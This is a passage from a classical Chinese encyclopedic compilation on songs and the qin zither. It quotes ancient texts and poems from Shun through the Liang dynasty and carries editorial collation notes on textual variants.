人 . 中 而 曰 阳 阿 采 菱 . 国 中 唱 而 和 之 者 数 百 人 . 既 而 曰 阳 菱 ○ 初 学 记 十 五 作 阿 . 白 露 . 朝 日 鱼 丽 . 含 商 吐 角 . 绝 节 赴 曲 . 国 中 唱 而 和 之 者 . 不 过 数 人 . 盖 其 曲 弥 高 . 其 和 弥 寡 .\n吕 氏 春 秋 曰 . 昔 葛 天 氏 之 乐 . 三 人 操 牛 尾 . 捉 足 以 歌 八 阕 .\n又 曰 . 帝 喾 氏 命 咸 黑 作 为 唐 歌 . 尧 命 质 效 山 谷 之 音 以 作 歌 . 汤 命 伊 尹 作 为 大 濩 . 歌 晨 露 .\n淮 南 子 曰 . 易 道 良 马 . 使 人 欲 驰 . 饮 酒 而 乐 . 使 人 欲 歌 .\n又 曰 . 瓠 梁 之 歌 . 可 随 也 . 其 所 歌 者 不 可 为 . 瓠 梁 . 古 善 歌 之 人 也 .\n刘 向 别 录 曰 . 有 丽 人 歌 赋 . 汉 兴 以 来 . 善 雅 歌 者 . 鲁 人 虞 公 . 发 声 清 哀 . 盖 动 梁 尘 .\n汉 书 曰 . 孝 武 南 巡 狩 . 至 于 盛 唐 . 自 浔 阳 浮 江 . 亲 射 蛟 江 中 . 获 之 . 舳 舻 千 里 . 薄 摐 阳 而 出 . 作 盛 唐 摐 阳 之 歌 .\n又 曰 . 武 帝 思 念 李 夫 人 不 已 . 方 士 齐 人 少 翁 . 言 能 致 其 神 . 乃 夜 设 灯 烛 帏 幄 . 而 令 帝 居 他 帐 . 遥 见 望 好 女 . 如 夫 人 之 貌 . 而 不 得 就 视 . 愈 益 悲 感 . 为 作 诗 . 令 乐 府 诸 音 家 弦 歌 之 . 曰 . 是 耶 非 耶 . 立 而 望 之 . 偏 . 娜 娜 何 冉 冉 其 来 迟 .\n又 曰 . 张 释 之 为 中 郎 将 . 从 行 至 灞 陵 . 是 时 慎 夫 人 从 . 上 指 视 慎 夫 人 新 丰 道 曰 . 此 是 邯 郸 道 也 . 使 慎 夫 人 鼓 瑟 . 上 倚 瑟 而 歌 .\n汉 武 内 传 曰 . 西 王 母 命 侍 女 安 法 婴 . 歌 玄 云 曲 . 上 元 夫 人 自 弹 云 林 之 瑟 . 乃 歌 步 玄 之 曲 曰 . 渌 景 清 飙 起 . 云 盖 映 朱 葩 . 兰 房 辟 琳 阙 . 碧 室 启 琼 沙 .\n郑 缉 之 东 阳 记 曰 . 歌 山 在 吴 宁 县 . 故 老 相 传 云 . 昔 有 人 乘 船 从 下 过 . 见 一 女 子 谷 汲 . 乃 登 此 山 . 负 水 行 歌 . 姿 态 甚 妍 . 而 莫 知 所 由 . 故 名 歌 山 .\n虞 舜 作 歌 曰 . 元 首 明 哉 . 股 肱 良 哉 . 庶 事 康 哉 .\n又 歌 曰 . 元 首 丛 脞 哉 . 股 肱 惰 哉 . 万 事 堕 哉 .\n又 歌 曰 . 南 风 之 薰 兮 . 可 以 解 吾 民 之 愠 兮 . 南 风 之 时 兮 . 可 阜 吾 民 之 财 兮 .\n又 卿 云 歌 曰 . 卿 云 烂 兮 . 礼 缦 缦 兮 . 日 月 光 华 . 旦 或 旦 兮 . 八 伯 咸 进 . 稽 首 曰 . 明 明 上 天 . 烂 然 星 辰 . 日 月 ○ 太 平 御 览 五 百 七 十 一 月 下 有 光 字 . 华 . 弘 兮 ○ 御 览 作 予 . 一 人 . 帝 乃 再 歌 曰 . 日 月 有 常 . 星 辰 有 行 . 四 时 从 经 . 万 姓 允 诚 . 于 予 论 乐 . 配 天 之 灵 .\n周 穆 天 子 觞 西 王 母 于 瑶 池 之 上 . 西 王 母 为 天 子 谣 曰 . 白 云 在 天 . 山 陵 自 出 . 道 里 悠 远 . 山 川 闲 之 . 将 子 无 死 . 尚 能 复 来 . 天 子 答 曰 . 予 归 东 土 . 和 治 诸 夏 . 万 民 平 均 . 吾 顾 见 汝 . 比 及 三 年 . 将 复 而 野 .\n齐 宁 戚 扣 牛 角 歌 曰 . 沧 浪 之 水 白 石 粲 . 中 有 鲤 鱼 长 尺 半 . 毂 布 单 衣 裁 至 骭 . 清 朝 饭 牛 至 夜 半 . 黄 犊 上 阪 且 休 息 . 吾 将 舍 汝 相 齐 国 .\n又 燕 荆 轲 萧 萧 歌 曰 . 燕 太 子 丹 使 荆 轲 刺 秦 王 . 丹 祖 送 于 易 水 之 上 . 高 渐 离 击 筑 . 荆 轲 歌 . 宋 意 和 之 曰 . 风 萧 萧 兮 易 水 寒 . 壮 士 一 去 不 复 还 .\n汉 高 祖 大 风 歌 曰 . 高 祖 还 过 沛 . 留 置 酒 沛 宫 . 悉 召 故 人 父 老 子 弟 佐 相 酒 . 发 沛 中 儿 . 得 百 二 十 人 . 教 之 歌 . 酒 酣 . 上 击 筑 自 歌 曰 . 大 风 起 兮 云 飞 扬 . 威 加 海 内 兮 归 故 乡 . 安 得 猛 士 兮 守 四 方 .\n汉 武 临 河 决 . 悼 功 之 不 成 . 乃 歌 曰 . 瓠 子 决 兮 将 奈 何 . 浩 浩 洋 洋 . 虑 殚 为 河 . 殚 为 河 兮 . 地 不 得 宁 . 功 无 已 □ ○ 汉 书 沟 洫 志 作 时 . 兮 吾 山 平 . 吾 山 平 兮 钜 鹿 ○ 汉 书 作 野 . 溢 . 鱼 弗 郁 兮 迫 冬 日 .\n汉 司 马 相 如 琴 歌 曰 . 相 如 游 临 邛 . 富 人 卓 王 孙 家 . 有 女 文 君 . 新 寡 . 窃 于 壁 见 之 . 相 如 因 以 琴 歌 挑 之 曰 . 凤 兮 凤 兮 归 故 乡 . 游 遨 四 海 求 其 皇 . 有 艳 淑 女 在 此 房 . 何 缘 交 接 为 鸳 鸯 . 凤 兮 凤 兮 从 我 栖 . 得 托 字 尾 永 为 妃 . 交 情 通 体 心 和 谐 . 中 夜 相 从 知 者 谁 .\n汉 乌 孙 公 主 歌 曰 . 吾 家 嫁 我 兮 天 一 方 . 远 托 异 国 乌 孙 王 . 穹 庐 为 室 兮 毡 为 墙 . 肉 为 食 兮 酪 为 浆 . 居 常 思 土 心 内 伤 . 愿 为 黄 鹤 兮 还 故 乡 .\n后 汉 章 帝 时 童 谣 曰 . 城 中 好 高 髻 . 四 方 高 一 尺 . 城 中 好 大 眉 . 四 方 且 半 额 . 城 中 好 广 袖 . 四 方 用 疋 帛 .\n后 汉 桓 帝 时 童 谣 曰 . 城 上 乌 . 尾 毕 逋 . 公 为 吏 . 儿 为 徒 . 一 徒 死 . 百 乘 车 . 车 班 兰 . 至 河 闲 . 女 能 数 钱 . 银 为 室 . 金 为 堂 . 户 上 膴 膴 舂 黄 梁 . 下 有 鼓 . 我 欲 击 之 丞 相 怒 .\n晋 刘 琨 扶 风 歌 曰 . 系 马 长 松 下 . 废 鞍 高 岳 头 . 烈 烈 悲 风 起 . 泠 泠 涧 水 流 . 鹿 游 我 前 . 猴 戏 我 侧 . 资 粮 既 以 乏 . 薇 蕨 安 足 食 . 惟 昔 李 愆 期 . 寄 在 匈 奴 庭 . 忠 信 反 获 罪 . 汉 武 不 见 明 .\n晋 陆 机 百 年 歌 曰 . 一 十 时 . 颜 如 蕣 华 晔 有 晖 . 体 如 飘 风 行 如 飞 . 终 朝 出 游 薄 暮 归 . 六 情 逸 豫 心 无 违 . 清 酒 将 炙 奈 乐 何 . 清 酒 将 炙 奈 乐 何 .\n二 十 时 . 肤 彩 津 泽 人 理 成 . 美 目 淑 貌 灼 有 荣 . 光 车 骏 马 游 都 城 . 高 谈 雅 步 何 盈 盈 . 清 酒 将 炙 奈 乐 何 . 清 酒 将 炙 奈 乐 何 .\n三 十 时 . 行 成 名 立 有 令 闻 . 力 可 扛 鼎 志 干 云 . 食 如 漏 卮 气 如 熏 . 辞 家 观 国 综 典 文 . 清 酒 将 炙 奈 乐 何 . 清 酒 将 炙 奈 乐 何 .\n四 十 时 . 体 力 克 壮 志 方 刚 . 跨 州 越 郡 还 帝 乡 . 出 入 承 明 拥 大 珰 . 清 酒 将 炙 奈 乐 何 . 清 酒 将 炙 奈 乐 何 .\n五 十 时 . 荷 旄 杖 节 镇 邦 家 . 鼓 钟 嘈 囋 赵 女 歌 . 罗 衣 綷 粲 金 翠 华 . 言 笑 雅 舞 相 经 过 . 清 酒 将 炙 奈 乐 何 . 清 酒 将 炙 奈 乐 何 .\n六 十 时 . 年 亦 耆 艾 业 亦 隆 . 骖 驾 四 牡 入 紫 宫 . 轩 冕 纳 那 翠 云 中 . 子 孙 昌 盛 家 道 丰 . 清 酒 将 炙 奈 乐 何 . 清 酒 将 炙 奈 乐 何 .\n七 十 时 . 精 爽 颇 损 膂 力 愆 . 清 水 明 镜 不 欲 观 . 临 乐 对 酒 转 无 欢 . 揽 形 脩 发 独 长 叹 .\n八 十 时 . 明 已 损 . 聪 去 耳 . 前 言 往 行 不 复 纪 . 辞 官 致 禄 归 桑 梓 . 安 车 驷 马 入 旧 里 . 乐 事 告 终 忧 事 始 .\n九 十 时 . 日 告 耽 瘁 月 告 衰 . 形 体 虽 是 志 意 非 . 言 多 谬 误 心 多 悲 . 子 孙 朝 拜 或 问 谁 . 指 景 玩 日 虑 安 危 . 感 念 平 生 泪 交 挥 .\n百 岁 时 . 盈 数 已 登 肌 肉 单 . 四 支 百 节 还 相 患 . 目 若 浊 镜 口 垂 涎 . 呼 吸 颦 蹙 反 侧 难 . 茵 褥 滋 味 不 复 安 .\n晋 傅 玄 燕 人 美 兮 歌 曰 . 燕 人 美 兮 赵 女 佳 . 其 室 则 迩 兮 限 增 崖 . 云 为 车 兮 风 为 马 . 玉 在 泥 兮 兰 在 野 . 云 无 期 兮 风 有 止 . 思 多 端 兮 谁 能 理 .\n晋 王 献 之 情 人 桃 叶 歌 曰 . 桃 叶 复 桃 叶 . 桃 叶 连 桃 根 . 相 怜 两 乐 事 . 独 使 我 缠 绵 .\n桃 叶 复 桃 叶 . 渡 江 不 用 楫 . 但 渡 无 所 苦 . 我 自 楫 迎 汝 .\n桃 叶 答 王 团 扇 歌 曰 . 七 宝 画 团 扇 . 粲 烂 明 月 光 . 与 郎 却 暄 暑 . 相 忆 莫 相 忘 . 青 青 林 中 竹 . 可 作 白 团 扇 . 动 摇 郎 玉 手 . 因 风 托 方 便 . 团 扇 复 向 谁 . 侍 许 自 障 面 . 无 复 理 . 羞 与 郎 相 见 .\n齐 陆 □ ○ 明 本 作 垂 . 按 玉 台 新 咏 九 作 厥 . 当 作 厥 . 李 夫 人 及 贵 人 歌 曰 . 别 车 桂 席 尘 . 豹 尾 香 烟 灭 . 彤 殿 向 蘼 芜 . 青 蒲 复 萎 绝 . 坐 萎 绝 . 对 蘼 芜 . 临 玉 阶 . 泣 长 涂 . 寡 鹤 羁 雌 飞 且 止 . 雕 梁 翠 壁 网 蜘 蛛 . 洞 房 明 月 夜 . 对 此 泪 如 珠 .\n晋 孙 绰 情 人 诗 曰 . 碧 玉 破 瓜 时 . 相 为 情 颠 倒 . 感 郎 不 羞 难 . 回 身 就 郎 抱 .\n宋 鲍 昭 白 纻 辞 歌 曰 . 朱 唇 动 . 素 袖 举 . 洛 阳 少 童 邯 郸 女 . 古 称 渌 水 今 白 纻 . 催 弦 急 管 为 君 舞 . 穷 秋 九 月 荷 叶 黄 . 北 风 驱 鹰 天 雨 霜 . 夜 长 酒 多 乐 未 央 . 春 风 澹 荡 使 思 多 . 天 色 净 渌 气 妍 和 . 含 桃 红 萼 兰 紫 芽 . 朝 日 灼 烁 发 园 花 . 卷 幌 结 帷 罗 玉 筵 . 齐 讴 秦 吹 卢 女 弦 . 千 金 雇 笑 买 芳 年 . 桂 宫 柏 寝 拟 天 居 . 朱 爵 文 窗 韬 碧 疏 . 雕 屏 匼 匝 组 帐 舒 . 秦 筝 赵 瑟 挟 笙 竽 . 垂 珰 散 緌 盈 玉 除 . 停 觞 不 语 欲 谁 须 .\n又 中 兴 歌 曰 . 中 兴 太 平 运 . 化 清 四 海 乐 . 星 星 照 玉 台 . 紫 烟 游 凤 阁 . 碧 楼 含 夜 月 . 紫 殿 争 朝 光 . 彩 墀 散 兰 麝 . 风 起 自 生 芳 . 三 五 容 色 满 . 四 五 妙 容 歇 . 已 输 春 日 观 . 分 随 秋 光 没 .\n宋 谢 庄 明 堂 歌 辞 曰 . 履 艮 宅 中 寓 . 司 绳 总 四 方 . 裁 化 偏 寒 烛 . 布 政 周 炎 凉 . 景 丽 条 可 结 . 霜 明 冰 可 折 . 凯 风 扇 朱 辰 . 白 云 流 素 节 . 右 歌 明 堂 黄 帝 辞 . 五 言 . 依 土 数 .\n参 映 夕 . 驷 昭 晨 . 云 乘 震 . 司 青 春 . 萌 动 达 . 万 品 新 .\n润 无 际 . 泽 无 垠 . 右 歌 青 帝 辞 . 三 言 . 依 木 数 .\n龙 精 初 见 大 火 中 . 朱 光 北 至 圭 景 同 . 庶 物 盛 长 咸 殷 阜 . 恩 覃 四 溟 被 九 有 . 右 歌 赤 帝 辞 . 七 言 . 依 火 数 .\n百 川 如 镜 天 地 爽 且 明 . 云 冲 气 举 盛 德 在 素 精 . 右 歌 白 帝 辞 . 九 言 . 依 金 数 .\n岁 既 暮 . 日 既 驰 . 灵 乘 坎 德 司 规 . 玄 云 合 晦 鸟 归 . 白 雪 繁 亘 天 涯 . 右 歌 黑 帝 辞 . 六 言 . 依 水 数 .\n齐 谢 朓 郊 庙 歌 辞 . 歌 青 帝 . 木 生 数 三 . 营 翼 日 . 鸟 殷 霄 . 凝 冰 泮 . 玄 蛰 昭 . 景 汤 汤 . 风 习 习 . 夷 女 歌 . 东 皇 集 .\n歌 赤 帝 . 火 成 数 七 . 惟 此 夏 德 德 恢 恢 . 两 龙 在 御 炎 精 来 . 族 云 蓊 郁 温 风 煽 . 兴 雨 祁 祁 委 苗 遍 .\n歌 黄 帝 . 土 数 五 . 禀 火 自 明 敏 . 资 金 挺 刚 克 . 凉 燠 资 成 化 . 群 方 载 厚 德 .\n歌 白 帝 . 金 数 九 . 帝 悦 于 兑 执 矩 固 司 藏 . 百 川 牧 ○ 乐 府 诗 集 三 作 收 . 潦 精 景 应 徂 商 . 嘉 树 离 披 榆 关 命 宾 鸟 . 夜 光 如 霜 秋 风 方 嫋 嫋 .\n歌 黑 帝 . 水 数 六 . 霜 钟 鸣 冥 陵 起 . 星 回 天 月 穷 纪 . 听 严 风 来 不 息 . 望 玄 云 黝 无 色 .\n齐 王 融 明 王 歌 辞 曰 . 明 王 日 月 照 . 至 乐 天 地 和 . 幸 息 云 门 吹 . 复 歇 咸 池 歌 . 桂 序 金 匏 转 . 瑶 轩 丝 石 罗 . 露 凝 嘉 草 秀 . 烟 度 醴 泉 波 .\n又 曰 . 圣 君 应 昌 历 . 景 祚 启 休 期 . 海 荡 万 川 集 . 山 崖 百 草 滋 . 大 哉 君 为 后 . 何 羡 唐 虞 时 .\n又 曰 . 湛 露 改 寒 司 . 交 鹦 变 阳 旭 . 琼 袖 藻 晨 红 . 瑶 塘 . 污 初 渌 . 日 霁 沙 溆 明 . 风 泉 暗 华 烛 . 遵 渚 泛 兰 觞 . 乘 漪 舞 清 曲 .\n又 曰 . 炎 光 销 玉 殿 . 凉 风 吹 凤 楼 . 金 华 妆 翠 羽 . 鹢 首 画 龙 舟 . 荆 姬 采 菱 曲 . 越 女 江 南 讴 . 良 时 时 一 遇 . 佳 人 难 再 求 .\n梁 武 帝 春 歌 曰 . 阶 上 香 入 怀 . 庭 中 花 照 眼 . 春 心 一 如 此 . 情 来 不 自 限 .\n夏 歌 曰 . 江 南 莲 花 水 . 红 光 复 碧 色 . 同 丝 有 同 藕 . 异 心 无 异 意 .\n秋 歌 曰 . 绣 带 合 欢 给 . 锦 衣 连 理 文 . 怀 情 入 夜 月 . 含 笑 出 朝 云 .\n团 扇 歌 曰 . 手 中 白 团 扇 . 净 如 秋 圆 月 . 清 风 任 动 生 . 娇 香 乘 意 发 .\n襄 阳 白 铜 堤 歌 曰 . 龙 马 紫 金 鞍 . 翠 毦 白 玉 羁 . 照 曜 双 阙 下 . 知 是 襄 阳 儿 .\n梁 沈 约 郊 庙 歌 黄 帝 辞 曰 . 郁 彼 中 坛 . 含 ● 阐 化 . 回 环 气 象 . 轮 无 辍 驾 .\n歌 青 帝 辞 曰 . 帝 位 在 震 . 龙 德 司 春 . 开 元 布 泽 . 含 和 上 人 .\n歌 赤 帝 辞 曰 . 炎 光 在 离 . 火 为 盛 德 . 执 礼 昭 训 . 持 衡 授 则 .\n歌 白 帝 辞 曰 . 神 在 秋 方 . 帝 居 西 颢 . 允 兹 金 德 . 裁 成 万 宝 .\n歌 黑 帝 辞 曰 . 德 盛 浮 水 . 玄 冥 纪 节 . 阴 降 阳 腾 . 气 凝 象 ● .\n元 会 歌 辞 . 皇 帝 出 入 奏 皇 雅 . 歌 诗 三 曲 . 五 言 . 二 郊 太 庙 明 堂 同 用 . 帝 德 实 广 运 . 车 书 靡 不 宾 . 执 瑁 朝 群 后 . 垂 旒 御 百 神 .\n华 盖 拂 紫 微 . 钩 陈 绕 太 一 . 容 裔 被 缇 组 . 参 差 罗 罘 罼 .\n清 跸 朝 万 寓 . 端 冕 临 正 阳 . 春 句 ○ 隋 书 音 乐 志 作 青 絇 . 黄 金 繶 . 衮 衣 文 绣 裳 .\n皇 太 子 出 入 奏 胤 雅 . 歌 诗 一 曲 . 四 言 . 自 昔 殷 代 . 哲 王 世 有 . 降 及 周 成 . 惟 器 是 守 . 上 天 乃 眷 . 大 梁 既 受 . 灼 灼 重 明 . 仰 承 元 首 . 上 寿 酒 奏 分 ○ 隋 书 音 乐 志 作 介 . 雅 . 诗 一 曲 . 五 言 . 百 福 四 象 初 . 万 寿 三 元 始 . 拜 献 惟 衮 职 . 同 心 协 卿 士 . 北 极 永 无 穷 . 南 山 安 足 拟 .\n又 襄 阳 白 铜 鞮 歌 曰 . 分 手 桃 林 崖 . 望 别 岘 山 头 . 若 欲 寄 音 信 . 汉 水 向 东 流 .\n又 春 白 纻 歌 曰 . 兰 叶 参 差 桃 半 红 . 飞 芳 舞 縠 戏 春 风 . 如 娇 如 怨 状 不 同 . 含 笑 流 盻 满 堂 中 . 翡 翠 群 飞 飞 不 息 . 愿 在 云 闲 长 比 翼 . 佩 服 堇 ○ 乐 府 诗 集 五 十 六 作 瑶 . 草 驻 容 色 . 舜 日 尧 年 欢 无 极 .\n夏 白 纻 歌 曰 . 朱 火 灼 烁 照 佳 人 . 含 情 送 意 遥 相 亲 . 嫣 然 一 转 乱 心 神 . 非 子 之 故 欲 谁 因 .\n秋 白 纻 歌 曰 . 白 露 欲 凝 草 已 黄 . 金 琯 玉 柱 响 洞 房 . 双 心 一 影 俱 回 翔 . 吐 情 寄 君 君 莫 忘 .\n冬 白 纻 歌 曰 . 寒 闺 昼 密 罗 幌 垂 . 娇 容 丽 色 心 相 知 . 双 去 双 还 誓 不 移 . 长 袖 拂 面 为 君 施 .\n梁 刘 孝 威 行 幸 甘 泉 歌 曰 . 汉 家 迎 夏 毕 . 避 暑 甘 泉 宫 . 栈 车 鸣 里 鼓 . 驷 马 驾 相 风 . 校 尉 乌 丸 骑 . 待 诏 娄 烦 弓 . 后 旌 犹 五 柞 . 前 笳 度 九 . 才 人 豹 尾 内 . 御 酒 属 车 中 . 辇 回 百 子 阁 . 扇 动 七 轮 风 . 鸣 钟 休 卫 士 . 披 图 占 后 宫 . 材 官 但 校 猎 . 凉 风 戏 射 熊 .\n古 东 飞 伯 劳 等 歌 曰 . 东 飞 伯 劳 西 飞 鷰 . 黄 姑 织 女 时 相 见 . 谁 家 女 儿 对 门 居 . 开 华 发 色 照 里 闾 . 南 窗 北 牖 挂 明 光 . 罗 帷 绮 帐 脂 粉 香 . 女 儿 年 几 十 五 六 . 窈 窕 无 双 颜 如 玉 . 三 春 已 暮 花 随 风 . 空 留 可 怜 与 谁 同 .\n古 . ○ 古 下 疑 有 脱 文 . 河 中 之 水 向 东 流 . 洛 阳 女 儿 名 莫 愁 . 莫 愁 十 三 能 织 绮 . 十 四 采 桑 东 陌 头 . 十 五 嫁 为 卢 家 妇 . 十 六 生 儿 字 阿 侯 . 卢 家 兰 室 桂 为 梁 . 中 有 郁 金 苏 合 香 . 头 上 金 钗 十 二 行 . 足 下 丝 履 五 文 章 . 珊 瑚 挂 镜 烂 生 光 . 平 头 奴 子 提 履 箱 . 人 生 富 贵 何 所 望 . 恨 不 嫁 与 东 家 王 .\n【 赋 】 袁 山 松 歌 赋 曰 . 朱 唇 不 启 . 皓 齿 不 离 . 清 气 独 转 . 妍 弄 潜 移 . 或 似 停 而 不 留 . 或 如 疾 而 不 驰 .\n【 笺 】 魏 繁 钦 与 太 子 笺 曰 . 都 尉 薛 访 车 子 . 年 始 十 四 . 能 啭 喉 引 声 . 与 葭 同 音 . 乃 知 天 壤 之 所 生 . 诚 有 自 然 之 妙 物 . 潜 气 内 转 . 哀 音 外 激 . 大 不 抗 越 . 细 不 幽 散 . 声 悲 奋 笳 . 曲 美 常 均 . 及 与 黄 门 鼓 吹 温 胡 . 迭 唱 迭 和 . 喉 所 发 音 . 无 不 响 应 . 遗 声 抑 扬 . 不 可 胜 穷 . 暨 其 清 激 悲 吟 . 杂 以 怨 慕 . 咏 北 狄 之 遐 征 . 奏 胡 马 之 长 思 . 是 时 凉 风 拂 衽 . 背 山 临 溪 . 莫 不 泫 泣 陨 涕 . 悲 怀 慷 慨 . 窃 惟 圣 体 . 兼 爱 好 奇 . 是 以 先 白 .\n魏 文 帝 答 曰 . 披 书 欢 笑 . 不 能 自 胜 . 奇 才 妙 伎 . 何 其 善 也 . 顷 守 土 ○ 太 平 御 览 五 百 七 十 三 作 守 宫 王 . 按 当 作 守 宫 士 . 孙 世 . 有 女 曰 琐 . 年 始 九 岁 . 梦 与 神 通 . 寤 而 悲 吟 . 哀 声 激 切 . 涉 历 六 载 . 于 今 十 五 . 近 者 督 将 具 以 状 闻 . 是 日 博 延 众 贤 . 遂 奏 名 倡 . 曲 极 数 弹 . 欢 情 未 逞 . 乃 令 从 官 . 引 内 世 女 . 须 臾 而 至 . 厥 状 甚 美 . 素 颜 玄 发 . 皓 齿 丹 唇 . 详 而 问 之 . 云 善 歌 舞 . 于 是 提 袂 徐 进 . 扬 蛾 微 眺 . 芳 声 清 激 . 逸 足 横 集 . 然 后 循 容 饰 妆 . 改 曲 变 度 . 斯 可 谓 声 协 钟 石 . 气 应 风 律 . 今 之 妙 舞 . 莫 巧 于 绛 树 . 清 歌 莫 善 ○ 太 平 御 览 三 百 八 十 一 . 初 学 记 十 九 作 激 . 于 宋 . 岂 能 乱 ○ 全 三 国 文 七 乱 上 有 上 字 . ● 祇 . 下 变 庶 物 . 漂 悠 风 云 . 横 厉 无 方 . 若 斯 也 哉 . 固 非 车 子 喉 啭 长 吟 所 能 逮 也 . 吾 练 色 知 声 . 雅 应 此 选 . 谨 卜 良 日 . 纳 之 闲 房 .\n【 启 】 梁 沈 约 谢 齐 竟 陵 王 宋 永 明 乐 歌 曰 . 凤 彩 鸾 章 .\n霞 鲜 锦 缛 . 觌 宝 河 宗 . 未 必 比 丽 . 观 乐 帝 所 . 远 有 惭 德\n. 虽 日 月 在 天 . 理 绝 称 咏 . 而 徘 徊 光 景 . 不 能 自 息 .\n毛 诗 曰 . 窈 窕 淑 女 . 琴 瑟 友 之 .\n礼 记 曰 . 舜 作 五 弦 之 琴 . 以 歌 南 风 之 诗 . 而 天 下 治 .\n又 曰 . 丝 声 哀 . 哀 以 廉 . 廉 以 立 志 . 君 子 听 琴 瑟 之 声 . 则 思 志 义 之 臣 .\n左 传 曰 . 晋 侯 观 于 军 府 . 见 钟 仪 . 问 其 族 . 曰 . 伶 人 也 . 与 之 琴 . 操 南 音 . 公 曰 . 君 子 也 . 言 称 先 职 . 不 背 本 也 . 乐 操 土 风 . 不 忘 旧 也 .\n又 曰 . 初 卫 侯 有 嬖 妾 . 使 师 曹 诲 之 琴 . 师 曹 鞭 之 . 公 怒 . 鞭 师 曹 三 百 .\n列 子 曰 . 瓠 巴 鼓 琴 . 而 鸟 舞 鱼 跃 .\n又 曰 . 孔 子 游 太 山 . 见 荣 启 期 . 鹿 裘 带 索 鼓 琴 瑟 . 孔 子 问 曰 . 先 生 为 乐 何 也 . 对 曰 . 天 生 万 物 . 唯 人 为 贵 . 吾 既 为 人 . 一 乐 也 . 男 贵 女 贱 . 今 既 为 男 . 二 乐 也 . 今 有 不 见 日 月 . 不 免 襁 褓 . 吾 行 年 九 十 有 五 矣 . 三 乐 也 . 贫 者 士 之 常 . 死 者 生 之 终 . 居 常 以 待 终 . 何 忧 哉 .\n吕 氏 春 秋 曰 . 宓 子 贱 治 单 父 . 弹 琴 . 身 不 下 堂 而 治 .\n又 曰 . 伯 牙 鼓 琴 . 钟 子 期 善 听 之 . 方 鼓 琴 . 志 在 太 山 . 钟 子 期 曰 . 善 哉 乎 鼓 琴 . 巍 巍 乎 如 太 山 . 志 在 流 水 . 钟 子 期 曰 . 善 哉 乎 鼓 琴 . 洋 洋 乎 若 流 水 . 钟 子 期 死 . 伯 牙 擗 琴 绝 弦 . 终 身 不 复 鼓 琴 . 以 为 世 无 足 鼓 琴 以 也 .\n庄 子 曰 . 孔 子 游 乎 缁 帷 之 林 . 坐 杏 坛 之 上 . 弟 子 读 书 . 孔 子 弦 歌 鼓 琴 . 奏 曲 未 半 . 有 渔 父 者 . 下 舡 而 来 . 孔 子 推 琴 而 起 曰 . 其 圣 人 欤 . 事 具 居 处 部 坛 篇 .\n孙 卿 子 曰 . 伯 牙 鼓 琴 . 六 马 仰 秣 .\n史 记 曰 . 万 石 君 奋 . 年 十 五 . 为 小 吏 . 侍 高 祖 . 高 祖 与 语 . 爱 其 恭 敬 . 问 曰 . 若 何 有 . 对 曰 . 独 有 母 . 不 幸 失 明 . 有 姊 . 能 鼓 琴 . 高 祖 乃 召 其 姊 为 美 人 . 以 奋 为 中 涓 . 徙 其 家 长 安 中 戚 里 .\n又 曰 . 驺 忌 以 鼓 琴 见 齐 威 王 . 威 王 舍 之 右 室 .\n又 曰 . 司 马 相 如 素 与 临 邛 令 王 吉 相 善 . 临 邛 富 人 卓 王 孙 . 有 女 文 君 . 新 寡 . 好 音 . 故 相 如 缪 与 令 相 重 . 而 以 琴 心 挑 之 . 文 君 窃 从 户 窥 之 . 心 悦 . 既 罢 . 相 如 乃 使 人 重 赐 文 君 侍 者 . 通 慇 懃 . 文 君 夜 亡 奔 相 如 .\n桓 谭 新 论 曰 . 神 农 氏 继 而 王 天 下 . 于 是 始 削 桐 为 琴 . 绳 丝 为 弦 . 以 通 神 明 之 德 . 合 天 人 之 和 焉 . 广 雅 曰 . 神 农 氏 琴 . 长 三 尺 六 寸 六 分 . 上 有 五 弦 . 曰 宫 商 角 征 羽 . 文 王 增 二 弦 . 曰 少 宫 少 商 .\n风 俗 通 曰 . 琴 者 乐 之 统 . 与 八 音 并 行 . 君 臣 以 相 御 也 . 和 乐 作 者 . 其 曲 曰 畅 . 言 其 道 畅 美 也 . 忧 愁 作 者 . 其 曲 曰 操 . 言 心 失 其 操 也 .\n说 苑 曰 . 雍 门 周 以 琴 见 孟 尝 君 . 孟 尝 君 曰 . 先 生 鼓 琴 . 亦 能 令 文 悲 乎 . 周 曰 . 臣 独 焉 能 令 足 下 悲 哉 . 所 能 令 悲 者 . 先 贵 而 后 贱 . 先 富 而 后 贫 . 不 若 身 才 高 妙 . 适 遭 暴 乱 . 不 若 处 势 隐 绝 . 不 及 四 邻 . 诎 折 摈 厌 . 舞 ○ 太 平 御 览 五 百 七 十 九 舞 字 无 . 无 所 告 愬 . 臣 一 为 之 征 操 援 琴 . 则 涕 零 矣 . 今 若 足 下 . 千 乘 之 君 . 广 夏 邃 房 . 下 罗 帷 . 来 清 风 . 斗 象 旗 . ○ 说 苑 善 说 篇 作 棋 . 舞 郑 妾 . 丽 色 淫 目 . 流 声 娱 耳 . 水 游 则 连 方 舟 . 戴 羽 旗 . 野 游 则 驰 弋 猎 乎 平 原 广 囿 . 入 则 撞 钟 击 鼓 乎 深 宫 之 中 . 虽 有 善 鼓 琴 者 . 固 未 能 使 足 下 悲 也 . 然 臣 所 为 足 下 悲 者 一 也 . 千 秋 万 世 之 后 . 宗 庙 必 不 血 食 . 高 台 既 已 坏 . 曲 池 既 已 渐 . 坟 墓 既 已 下 . 婴 儿 竖 子 樵 采 者 . 踯 躅 其 足 而 歌 其 上 曰 . 夫 以 孟 尝 君 尊 贵 . 乃 若 是 乎 . 于 是 孟 尝 泫 焉 承 脸 . 周 引 琴 而 鼓 之 . 徐 动 宫 征 . 拂 羽 角 . 孟 尝 涕 泣 增 哀 . 下 而 就 之 曰 . 先 生 之 鼓 琴 . 令 文 若 破 国 亡 邑 之 人 .\n韩 诗 外 传 曰 . 孔 子 南 游 适 楚 . 至 于 阿 谷 之 隧 . 有 处 女 佩 瑱 而 浣 . 孔 子 曰 . 彼 妇 人 可 与 言 矣 . 抽 琴 去 其 轸 . 以 授 子 贡 曰 . 善 为 之 辞 . 子 贡 曰 . 于 此 有 琴 而 无 轸 . 借 子 以 调 其 音 . 妇 人 对 曰 . 吾 野 鄙 之 人 . 五 音 不 知 . 安 能 调 琴 .\n江 表 传 曰 . 顾 雍 从 蔡 邕 学 琴 . 雍 异 之 . 曰 . 卿 必 成 . 故 以 名 与 卿 .\n华 峤 汉 书 曰 . 初 蔡 邕 在 陈 留 . 邻 人 有 以 酒 食 召 雍 ○ 按 雍 邕 通 . 者 . 比 往 而 酒 以 酣 . 客 有 弹 琴 于 屏 . 邕 至 门 . 潜 听 之 . 曰 . 以 乐 召 我 . 而 有 杀 心 . 何 也 . 遂 反 . 将 命 者 告 主 人 . 以 蔡 君 至 门 而 去 . 邕 素 为 邦 乡 所 宗 . 